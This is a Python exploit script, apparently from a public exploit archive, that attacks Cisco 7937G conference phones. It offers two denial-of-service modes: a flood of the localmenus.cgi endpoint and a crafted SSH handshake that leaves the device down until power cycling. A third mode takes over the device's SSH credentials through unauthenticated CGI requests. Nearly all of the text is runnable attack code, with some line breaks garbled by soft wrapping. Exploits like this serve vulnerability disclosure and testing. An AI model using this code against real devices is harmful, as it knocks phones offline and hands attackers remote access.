cisco 7937g dosprivilege escalation

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cisco 7937g dosprivilege escalation Code Code...
				
# Exploit Title: Cisco 7937G 1-4-5-7 - DoS/Privilege Escalation # Date: 2020-08-10 # Exploit Author: Cody Martin # Vendor Homepage: https://cisco.com # Version: <=SIP-1-4-5-7 # Tested On: SIP-1-4-5-5, SIP-1-4-5-7 #!/usr/bin/python import sys import getopt import requests import paramiko import socket import os def main(argv): target = "" attack = "" username = "" password = "" divider = "==================== ========================== =" help_text = ''' exploit.py -t/--target ip-address-of-target -a/--attack attack-type [-u/--u= ser username -p/--password password] %s Example: exploit.py -t 192.168.1.200 -a 1 Example: exploit.py --target 192.168.1.200 --attack 3 --user bob --password= villa %s Attack types: 1: DoS with automatic device reset 2: DoS without automatic device reset 3: Change SSH credentials of target device ''' % (divider, divider) if len(sys.argv) == 1: print(help_text) sys.exit(2) try: opts, args = getopt.getopt(argv, "ht:a:u:p:", ["help", "target== ", "attack=", "user=", "password="]) except getopt.GetoptError: print(help_text) sys.exit(2) for opt, arg in opts: if opt == "-h": print(help_text) sys.exit() elif opt in ("-t", "--target"): target = arg elif opt in ("-a", "--attack"): attack = arg elif opt in ("-u", "--user"): username = arg elif opt in ("-p", "--password"): password = arg if username != "" and password != "" and attack == "3": print("Starting SSH attack!") print(divider) print("Target: ", target, "\nAttack: ", attack, "\nUser: ", usernam= e, "\nPassword: ", password) finished = attack_ssh(target, username, password) elif attack == "1": print("Starting DoS reset attack!") print(divider) print("Target: ", target, "\nAttack: ", attack) finished = dos_one(target) elif attack == "2": print("Starting DoS non-reset attack!") print(divider) print("Target: ", target, "\nAttack: ", attack) finished = dos_two(target) print(divider) if finished == 1: print("DoS reset attack completed!") elif finished == 2: print("DoS non-reset attack completed!") print("Device must be power cycled to restore functionality.") elif finished == 3: tell = "SSH attack finished!\nTry to login using the supplied cre= dentials %s:%s" % (username, password) connection_example = "ssh -oKexAlgorithms=+diffie-hellman-group= 1-sha1 %s@%s" % (username, target) print(tell) print("You must specify the key exchange when connecting or the dev= ice will be DoS'd!") print(connection_example) elif finished == 0: print("Something strange happened. Attack likely unsuccessful.") sys.exit() def dos_one(target): url = "http://%s/localmenus.cgi" % target data = "A"*46 payload = {"func": "609", "data": data, "rphl": "1"} print("FIRING ZE MIZZLES!") for i in range(1000): try: r = requests.post(url=url, params=payload, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web acces= s is not enabled.") sys.exit() except requests.exceptions.RequestException: return 1 return 0 def dos_two(target): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) try: sock.connect((target, 22)) except OSError: print("Device doesn't appear to be functioning (already DoS'd?) or = SSH is not enabled.") sys.exit() transport = paramiko.Transport(sock=sock, disabled_algorithms={"k= ex": ["diffie-hellman-group-exchange-sha1", = "diffie-hellman-group14-sha1", = "diffie-hellman-group1-sha1"]}) fd = os.open("/dev/null", os.O_WRONLY) savefd = os.dup(2) os.dup2(fd, 2) try: transport.connect(username="notreal", password="notreal") except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHExcep= tion): os.dup2(savefd, 2) return 2 return 0 def attack_ssh(target, username, password): url = "http://%s/localmenus.cgi" % target payload_user = {"func": "403", "set": "401", "name1": username, "name= 2": username} payload_pass = {"func": "403", "set": "402", "pwd1": password, "pwd2"= : password} print("FIRING ZE MIZZLES!") try: r = requests.post(url=url, params=payload_user, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web access is= not enabled.") sys.exit() r = requests.post(url=url, params=payload_pass, timeout=5) if r.status_code != 200: print("Device doesn't appear to be functioning or web access is= not enabled.") sys.exit() except requests.exceptions.RequestException: print("Device doesn't appear to be functioning or web access is not= enabled.") sys.exit() return 3 if __name__ == "__main__": main(sys.argv[1:])


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